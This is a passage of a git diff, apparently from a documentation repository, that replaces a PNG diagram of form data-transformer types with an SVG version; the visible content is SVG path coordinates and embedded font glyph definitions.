transform="matrix(20,0,0,20,-319,-239)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 29.3 18.4 C 29.307617 19.057227 29.842773 19.586133 30.5 19.586133 C 31.157227 19.586133 31.692383 19.057227 31.7 18.4 C 31.7 17 31.7 15.6 31.7 14.2 C 31.7 13.881836 31.573633 13.576562 31.348437 13.351562 C 31.123438 13.126367 30.818164 13 30.5 13 C 30.181836 13 29.876562 13.126367 29.651563 13.351562 C 29.426367 13.576562 29.3 13.881836 29.3 14.2 C 29.3 15.6 29.3 17 29.3 18.4 Z M 29.3 18.4 " transform="matrix(20,0,0,20,-319,-239)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 299.523438 57.085938 C 299.566406 57.308594 299.59375 57.5625 299.609375 57.851562 C 299.636719 58.128906 299.652344 58.410156 299.652344 58.699219 C 299.664062 58.996094 299.671875 59.28125 299.671875 59.566406 C 299.683594 59.847656 299.695312 60.117188 299.695312 60.371094 C 299.695312 61.414062 299.515625 62.304688 299.164062 63.042969 C 298.824219 63.789062 298.328125 64.386719 297.679688 64.84375 C 297.046875 65.308594 296.273438 65.636719 295.371094 65.839844 C 294.464844 66.050781 293.453125 66.15625 292.339844 66.15625 C 291.351562 66.15625 290.394531 66.054688 289.480469 65.859375 C 288.558594 65.660156 287.753906 65.332031 287.0625 64.863281 C 286.371094 64.410156 285.8125 63.804688 285.390625 63.042969 C 284.976562 62.277344 284.773438 61.324219 284.773438 60.179688 C 284.773438 59.996094 284.773438 59.757812 284.773438 59.460938 C 284.785156 59.175781 284.800781 58.878906 284.816406 58.570312 C 284.84375 58.257812 284.863281 57.964844 284.882812 57.703125 C 284.890625 57.429688 284.914062 57.226562 284.945312 57.085938 M 298.339844 60.433594 C 298.339844 60.292969 298.339844 60.140625 298.339844 59.96875 C 298.339844 59.800781 298.328125 59.636719 298.316406 59.480469 C 298.300781 59.324219 298.285156 59.175781 298.273438 59.035156 C 298.257812 58.894531 298.242188 58.78125 298.230469 58.699219 L 286.214844 58.699219 C 286.199219 58.75 286.183594 58.855469 286.171875 59.015625 C 286.171875 59.167969 286.164062 59.324219 286.152344 59.480469 C 286.152344 59.652344 286.140625 59.808594 286.132812 59.96875 C 286.132812 60.121094 286.132812 60.234375 286.132812 60.308594 C 286.132812 61.097656 286.300781 61.761719 286.640625 62.300781 C 286.980469 62.835938 287.429688 63.257812 287.996094 63.570312 C 288.558594 63.894531 289.214844 64.121094 289.96875 64.25 C 290.730469 64.378906 291.523438 64.441406 292.363281 64.441406 C 293.109375 64.441406 293.84375 64.382812 294.566406 64.269531 C 295.285156 64.15625 295.921875 63.941406 296.472656 63.636719 C 297.023438 63.339844 297.46875 62.9375 297.808594 62.425781 C 298.15625 61.917969 298.339844 61.25 298.339844 60.433594 M 290.199219 67.34375 C 292.066406 67.34375 293.433594 67.671875 294.3125 68.339844 C 295.1875 69.019531 295.625 69.976562 295.625 71.222656 C 295.625 72.546875 295.167969 73.523438 294.269531 74.148438 C 293.378906 74.78125 292.023438 75.101562 290.199219 75.101562 C 288.320312 75.101562 286.941406 74.761719 286.066406 74.082031 C 285.203125 73.40625 284.773438 72.453125 284.773438 71.222656 C 284.773438 69.890625 285.21875 68.914062 286.109375 68.277344 C 287.011719 67.652344 288.378906 67.34375 290.199219 67.34375 M 290.199219 68.976562 C 289.589844 68.976562 289.039062 69.007812 288.546875 69.082031 C 288.050781 69.167969 287.621094 69.300781 287.253906 69.484375 C 286.898438 69.664062 286.625 69.898438 286.429688 70.183594 C 286.226562 70.480469 286.132812 70.824219 286.132812 71.222656 C 286.132812 71.984375 286.449219 72.546875 287.085938 72.917969 C 287.730469 73.300781 288.769531 73.488281 290.199219 73.488281 C 290.792969 73.488281 291.332031 73.449219 291.832031 73.363281 C 292.339844 73.289062 292.769531 73.160156 293.125 72.980469 C 293.492188 72.796875 293.769531 72.558594 293.972656 72.261719 C 294.167969 71.972656 294.269531 71.628906 294.269531 71.222656 C 294.269531 70.484375 293.941406 69.929688 293.292969 69.546875 C 292.644531 69.167969 291.609375 68.976562 290.199219 68.976562 M 285.539062 83.300781 C 285.285156 82.929688 285.09375 82.519531 284.964844 82.050781 C 284.839844 81.597656 284.773438 81.117188 284.773438 80.609375 C 284.773438 79.917969 284.902344 79.328125 285.15625 78.851562 C 285.410156 78.371094 285.777344 77.984375 286.257812 77.6875 C 286.734375 77.390625 287.308594 77.167969 287.976562 77.027344 C 288.636719 76.902344 289.378906 76.839844 290.199219 76.839844 C 291.964844 76.839844 293.304688 77.160156 294.226562 77.8125 C 295.160156 78.476562 295.625 79.421875 295.625 80.652344 C 295.625 81.214844 295.574219 81.703125 295.476562 82.113281 C 295.375 82.523438 295.25 82.867188 295.09375 83.152344 L 293.761719 82.730469 C 294.097656 82.148438 294.269531 81.523438 294.269531 80.84375 C 294.269531 80.046875 293.933594 79.457031 293.273438 79.0625 C 292.621094 78.664062 291.597656 78.46875 290.199219 78.46875 C 289.632812 78.46875 289.101562 78.511719 288.609375 78.597656 C 288.113281 78.683594 287.683594 78.820312 287.316406 79.019531 C 286.945312 79.234375 286.660156 79.492188 286.449219 79.804688 C 286.238281 80.128906 286.132812 80.53125 286.132812 81.011719 C 286.132812 81.378906 286.195312 81.722656 286.320312 82.050781 C 286.460938 82.375 286.617188 82.644531 286.789062 82.855469 M 295.625 84.359375 L 295.625 85.695312 L 297.828125 85.695312 L 298.339844 87.242188 L 295.625 87.242188 L 295.625 89.597656 L 294.269531 89.597656 L 294.269531 87.242188 L 287.910156 87.242188 C 287.277344 87.242188 286.816406 87.316406 286.535156 87.476562 C 286.265625 87.628906 286.132812 87.878906 286.132812 88.21875 C 286.132812 88.515625 286.164062 88.757812 286.238281 88.960938 C 286.304688 89.171875 286.390625 89.40625 286.492188 89.660156 L 285.285156 89.957031 C 285.125 89.644531 284.996094 89.289062 284.902344 88.894531 C 284.816406 88.515625 284.773438 88.117188 284.773438 87.710938 C 284.773438 86.988281 284.996094 86.46875 285.453125 86.164062 C 285.917969 85.851562 286.671875 85.695312 287.71875 85.695312 L 294.269531 85.695312 L 294.269531 84.359375 M 295.625 90.867188 L 295.625 91.992188 L 294.3125 92.265625 L 294.3125 92.328125 C 294.71875 92.527344 295.039062 92.785156 295.265625 93.113281 C 295.503906 93.4375 295.625 93.835938 295.625 94.300781 C 295.625 94.625 295.566406 95 295.457031 95.421875 L 294.078125 95.125 C 294.207031 94.746094 294.269531 94.410156 294.269531 94.132812 C 294.269531 93.664062 294.132812 93.285156 293.867188 92.988281 C 293.597656 92.699219 293.234375 92.519531 292.785156 92.433594 L 284.773438 92.433594 L 284.773438 90.867188 M 295.625 96.566406 L 295.625 98.113281 L 284.773438 98.113281 L 284.773438 96.566406 M 298.296875 96.269531 C 298.703125 96.269531 299.039062 96.367188 299.292969 96.566406 C 299.554688 96.765625 299.695312 97.019531 299.695312 97.332031 C 299.695312 97.652344 299.566406 97.925781 299.3125 98.136719 C 299.070312 98.347656 298.730469 98.453125 298.296875 98.453125 C 297.882812 98.453125 297.558594 98.347656 297.320312 98.136719 C 297.09375 97.925781 296.980469 97.652344 296.980469 97.332031 C 296.980469 97.019531 297.097656 96.765625 297.34375 96.566406 C 297.582031 96.367188 297.898438 96.269531 298.296875 96.269531 M 284.773438 105.933594 L 291.261719 105.933594 C 292.320312 105.933594 293.082031 105.808594 293.546875 105.554688 C 294.023438 105.300781 294.269531 104.84375 294.269531 104.195312 C 294.269531 103.613281 294.097656 103.136719 293.761719 102.757812 C 293.421875 102.375 293.003906 102.097656 292.511719 101.929688 L 284.773438 101.929688 L 284.773438 100.363281 L 295.625 100.363281 L 295.625 101.503906 L 294.246094 101.78125 L 294.246094 101.84375 C 294.628906 102.125 294.953125 102.5 295.222656 102.96875 C 295.488281 103.433594 295.625 103.992188 295.625 104.640625 C 295.625 105.109375 295.5625 105.515625 295.433594 105.871094 C 295.308594 106.222656 295.085938 106.519531 294.777344 106.761719 C 294.480469 107 294.078125 107.175781 293.570312 107.292969 C 293.0625 107.417969 292.414062 107.480469 291.640625 107.480469 L 284.773438 107.480469 M 285.730469 116.363281 C 285.433594 116.007812 285.199219 115.5625 285.027344 115.027344 C 284.859375 114.5 284.773438 113.945312 284.773438 113.351562 C 284.773438 112.65625 284.902344 112.066406 285.15625 111.570312 C 285.410156 111.074219 285.777344 110.667969 286.257812 110.34375 C 286.734375 110.015625 287.300781 109.777344 287.953125 109.621094 C 288.617188 109.464844 289.363281 109.390625 290.199219 109.390625 C 291.964844 109.390625 293.304688 109.726562 294.226562 110.40625 C 295.160156 111.085938 295.625 112.042969 295.625 113.289062 C 295.625 113.695312 295.574219 114.097656 295.476562 114.496094 C 295.390625 114.886719 295.207031 115.242188 294.925781 115.554688 C 294.640625 115.878906 294.246094 116.140625 293.738281 116.339844 C 293.230469 116.535156 292.5625 116.636719 291.746094 116.636719 C 291.519531 116.636719 291.269531 116.621094 291.003906 116.59375 C 290.75 116.578125 290.480469 116.558594 290.199219 116.53125 L 290.199219 111.019531 C 289.574219 111.019531 289.011719 111.070312 288.503906 111.167969 C 288.007812 111.265625 287.582031 111.421875 287.234375 111.636719 C 286.878906 111.859375 286.601562 112.144531 286.40625 112.484375 C 286.222656 112.824219 286.132812 113.246094 286.132812 113.753906 C 286.132812 114.148438 286.195312 114.539062 286.320312 114.921875 C 286.460938 115.300781 286.628906 115.589844 286.832031 115.789062 M 291.554688 115.132812 C 292.488281 115.160156 293.171875 115.003906 293.613281 114.667969 C 294.046875 114.335938 294.269531 113.886719 294.269531 113.308594 C 294.269531 112.640625 294.046875 112.113281 293.613281 111.71875 C 293.171875 111.339844 292.488281 111.109375 291.554688 111.042969 Z M 291.554688 115.132812 "/> +</g> +</svg> diff --git a/_images/form/data-transformer-types.png b/_images/form/data-transformer-types.png deleted file mode 100644 index 950acd39ea7..00000000000 Binary files a/_images/form/data-transformer-types.png and /dev/null differ diff --git a/_images/form/data-transformer-types.svg b/_images/form/data-transformer-types.svg new file mode 100644 index 00000000000..9393b224f89 --- /dev/null +++ b/_images/form/data-transformer-types.svg @@ -0,0 +1,178 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="404pt" height="312pt" viewBox="0 0 404 312" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 